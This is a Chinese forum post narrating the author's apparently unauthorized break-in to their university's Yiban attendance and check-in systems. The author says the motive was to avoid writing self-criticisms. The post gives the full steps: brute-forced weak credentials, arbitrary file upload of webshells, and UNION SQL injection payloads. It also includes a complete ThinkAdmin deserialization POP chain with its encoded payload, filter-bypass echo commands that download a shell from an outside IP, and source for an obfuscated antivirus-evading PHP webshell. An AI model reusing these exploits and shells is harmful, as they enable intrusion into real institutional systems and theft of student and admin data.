发布于2022年11月5日3年前 0x01 前言由于疫情问题,学校的易班APP新增了打卡系统,每天需要进行晨检,午检打卡,忘记的话就是上千字检讨本人对于这种“形式主义”深感不满,适逢最近成立了网络安全战队,于是准备操作一番0x02 踩点基本的信息搜集咱们就不多说了因此不同系统使用了不同的多台服务器看样不能一劳永逸,需要各个系统、服务器奇妙的学校系统渗透之旅,拿下核心系统,然后摸入核心系统中首先打开“易班”系统的首页是这个样子不难看出,开发者使用了TP框架,在简单地测试了各种TP 注入,RCE的payload后均以失败告终,看样安全意识还不算太差域名下的首页完全就是一个报错页面,没有任何功能点和信息俗话说得好,信息搜集的好坏直接决定了我们渗透的成败,因此我们绝对不能疏忽大意。我们先来fuzz一级目录成果还不错,不少目录和功能点,随后我们继续fuzz各个一级目录的二级目录,不断摸索该域名下部署的功能点具体的就不上图了,因为一级目录太多了。了解清楚功能点后,直接脱裤子开干0x03 心理健康系统的渗透(IIS短文件名-->老登录口-->爆破-->新登录口-->上传)通过一级目录爆破,爆破出http://xxx.xxx.edu.cn/psy这个路径发现其中部署了心理教育健康系统,中间件为IIS但是心理健康系统登录口有验证码机制,而且验证码不容易识别立马想到iis短文件名特性随后通过iis短文件名目录扫描工具(https://github.com/lijiejie/IIS_shortname_Scanner)进行扫描获取到老的其他系统登录口http://xxx.xxx.edu.cn/psy/Login2.aspx如图,没有任何验证码机制直接Burp Cluster bomb式爆破成功得到其他系统的弱口令admin,Aa123456但是老系统其他页面已经删除,无法正常登入后台但推测新老系统用的同一个数据库访问新系统http://xxx.xxx.edu.cn/psy/Login.aspx使用密码admin,Aa123456成功登陆后台翻找上传点上传点在http://xxx.xxx.edu.cn/psy/ScaleManage/ScaleEdit.aspx?ScaleListID=1量表平台这边的添加题目存在任意文件上传(话说这个上传点...可以说是相当隐蔽了..找了好久才找到)上传aspx会莫名其妙跳转,asp不解析,直接传了个asmx的马通过awvs 10的调试模块执行命令权限为net service使用cobaltstrike直接powershell一句话上权限结果补丁貌似比较死。。各种本地提权Exp上了一遍,没什么逼用Com组件,土豆上了也提不下来,先这样吧,提权要是提下来了再补充心理健康系统宣布初步拿下0x04 直播系统接口注入在进入直播系统后,发现没什么可以利用的点,大概开发还没有完成但是在BURP中,我发现了一个ajax接口的请求,http请求如下:POST /index.php/Live/index/seat_ajax.html HTTP/1.1Host: xxx.xxx.edu.cnContent-Length: 24Accept: /Origin: http://xxx.xxx.edu.cnX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Linux; U; Android 5.1; zh-CN; 1501_M02 Build/LMY47D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.0.818 U3/0.8.0 Mobile Safari/534.30Content-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: http://xxx.xxx.edu.cn/index.php/Live/index/seat?place_id=10&active_id=20Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: ASP.NET_SessionId=s0clwrginz0rw3x0smtwtsgg; PHPSESSID=7985bf0a5f38e5922a651ac1f4ef9b1a; PHPSESSID=7985bf0a5f38e5922a651ac1f4ef9b1aConnection: closeplace_id=10&active_id=20进行fuzz找到SQLI Payload两个id参数都存在union注入构造payload) UNION ALL SELECT NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Neqy如图成功获得current_user信息"[email protected]构造payloadplace_id=10) UNION ALL SELECT NULL,NULL,NULL,NULL,group_concat(SCHEMA_NAME),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.schemata-- Neqy&active_id=20&active_id=20其他的表、列、数据、在此就不演示了,写语句就ok,都非常简单后面发现涉及了很多其他系统的库,但并没有摸到我最想要的核心系统的库,0X05 一个平淡无奇的B64上传FUZZ功能点后,找到了一个未授权可以上传图片的地方http://xxx.xxx.edu.cn/v4/public/weui/demo/form12.html发现data:image/jpeg时上传jpeg图片直接改data改为image/php,然后将上传内容base64编码后提交Getshell成功,SYSTEM权限,提权都省了0X06 核心系统精彩渗透(Nday反序列化+命令执行绕过+条件竞争Getshell)寻寻觅觅,冷冷清清,凄凄惨惨凄凄,终于找到了我们的控制“易班”核心系统http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.Update/tree胜利就在眼前...不睡觉也要把他给搞下来各种fuzz,各种操作一块安排上去,发现并没有什么卵用,依旧日不进去难道就此放弃??不可能,这不是我们的风格我在仔细查看页面JS的时候,发现了这样一个有趣的信息眼前一亮,妈的ThinkAdmin,正好之前有个反序列化的Nday,安排上!http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.Update/treePostData:rules=a%3A2%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Bi%3A123%3B%7D //执行whoami下面为反序列化pop链子如下<?phpnamespace think;use think\model\Pivot;abstract class Model{ private $lazySave = false; # save() private $exists = false; # updateData() protected $connection; protected $name; # __toString() Conversion.php =>Pivot private $withAttr = []; # assert protected $hidden = []; private $data = []; protected $withEvent = false; private $force = false; protected $field = []; protected $schema = []; function __construct(){ $this->lazySave = true; $this->exists = true; $this->withEvent = false; $this->force = true; $this->connection = "mysql"; $this->withAttr = ["test"=>"system"]; $this->data = ["test"=>"whoami"]; $this->hidden = ["test"=>"123"]; $this->field = []; $this->schema = []; }}namespace think\model;use think\Model;\# Model 是一个抽象类,我们找到它的继承类,此处选取的是 Pivot 类class Pivot extends Model{ function __construct($obj=""){ parent::__construct(); $this->name = $obj; # $this->name放子类构造方法中赋值,直接放基类属性中初始化不成功 }}$a=new Pivot();echo urlencode(serialize([new Pivot($a),123]));?>权限为system,哈哈哈哈哈哈,天助我也但使用echo命令写shell过程中遇到了很多问题命令不能带空格,而且<>直接在一条命令中出现写shell,否则会报错空格会被转换为+ 而+ 他后端又识别不了经过坚持不懈的手动测试,发现/\可以绕过空格的限制然后再使用&&来拼接命令,实现对于写入<>检测的绕过但是目标机有waf,普通的webshell传上去过几秒就会被杀何妨,直接通过条件竞争远程下载免杀的webshell构造命令通过条件竞争下载免杀shellecho/^<^?php>>s1.php&&echo/file_put_contents('s2.php',file_get_contents('http://49.x.x.x:8080/shell.txt'));?^>>>s2.php免杀shell内容如下<?phpfunction test($php_c0d3){ $password='skr';//EnvPwd $cr=preg_filter('/\s+/','','c h r'); $bs64=preg_filter('/\s+/','','bas e64 _de cod e'); $gzi=$cr(103).$cr(122).$cr(105).$cr(110); $gzi.=$cr(102).$cr(108).$cr(97).$cr(116).$cr(101); $c=$bs64($php_c0d3); $c=$gzi($c); @eval($c);}$php_c0d3='S0lNy8xL1VAvzkjNySlILC5W11EBUeX'.'5RSma1rxcKgWZeWm2KvFBroGhrsEh0UogvlIsUC'.'YzTQMiaatUmVqspFnNy1WQARLI1wBprAXi1LLEH'.'A2EXrgdsZrWAA==';test($php_c0d3);?>通过反序列化pop链子生成Postdata直接打过去http://xxx.xxx.edu.cn/v4/public/s2.php密码Skr直接拿下终于拿下了这个打卡,晚点名,考勤的核心系统,adminer进入库中解密管理员密码妈的,还想让老子写检讨???吃屎去吧核心系统宣布拿下~圆满完成任务0x06 总结1.通过信息收集发现首页主站采用是tp框架,测试RCE无果2.通过对其主页扫描目录,发现了一些可用目录3.通过一级目录发现是一个心理健康系统(http://xxx.xxx.edu.cn/psy),登录窗口存在验证码,无法爆破,且该站采用IIS中间件4.通过IIS短路径扫描,可获得敏感路径(login1.asp以及login2.asp)5.打开http://xxx.xxx.edu.cn/psy/Login1.aspx(老干部素质能力测评系统),登录窗口无验证码,可成功爆破出弱口令admin,123456,登录系统,后台无法显示6.打开http://xxx.xxx.edu.cn/psy/Login1.aspx(新干部素质能力测评系统),猜测和老系统数据库一致,可使用弱口令admin,123456登录系统,且在后台的添加题目存在任意文件上传漏洞,这里上传aspx和asp都不解析,上传asmx脚本大马7.通过大马上传CS生成的后门,并执行后台,这里查看权限为NT权限,需要对其提权,但是通过PS以及各种EXP和烂土豆等都无法提权,系统补丁已全打8.在直播系统中接口存在SQL注入漏洞,通过SQLmap获取数据,并没没用找到该站的用户名和密码。9.通过一个未授权接口上传点,对其上传一句话图片马,发现上传的数据是base64,这里就将上传的一句户马对其加密base64,进行上传。12.发现核心系统(易帮通),在登录页面查看到JS中包含了敏感信息,该系统采用Thinkadmin,且版本为V6.0,该框架存在反序化漏洞。通过反序化构造成数据链,发送请求,执行远程命令执行。http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.Update/treePostData:rules=a%3A2%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Bi%3A123%3B%7D //执行whoami13.这里准备通过echo写入一句话,命令不能带空格,而且<>直接在一条命令中出现写shell,否则会报错,空格会被转换为+ 而+ 他后端又识别不了。发现/\可以绕过空格的限制然后再使用&&来拼接命令,实现对于写入<>检测的绕过。echo/^<^?php>>s1.php&&echo/file_put_contents('s2.php',file_get_contents('http://49.x.x.x:8080/shell.txt'));?^>>>s2.php免杀shell.txt:<?phpfunction test($php_c0d3){ $password='skr';//EnvPwd $cr=preg_filter('/\s+/','','c h r'); $bs64=preg_filter('/\s+/','','bas e64 _de cod e'); $gzi=$cr(103).$cr(122).$cr(105).$cr(110); $gzi.=$cr(102).$cr(108).$cr(97).$cr(116).$cr(101); $c=$bs64($php_c0d3); $c=$gzi($c); @eval($c);}$php_c0d3='S0lNy8xL1VAvzkjNySlILC5W11EBUeX'.'5RSma1rxcKgWZeWm2KvFBroGhrsEh0UogvlIsUC'.'YzTQMiaatUmVqspFnNy1WQARLI1wBprAXi1LLEH'.'A2EXrgdsZrWAA==';test($php_c0d3);?>14.通过反序列化pop生成数据链进行远程命令执行原文链接:https://bbs.ichunqiu.com/thread-59207-1-1.html
创建帐户或登录后发表意见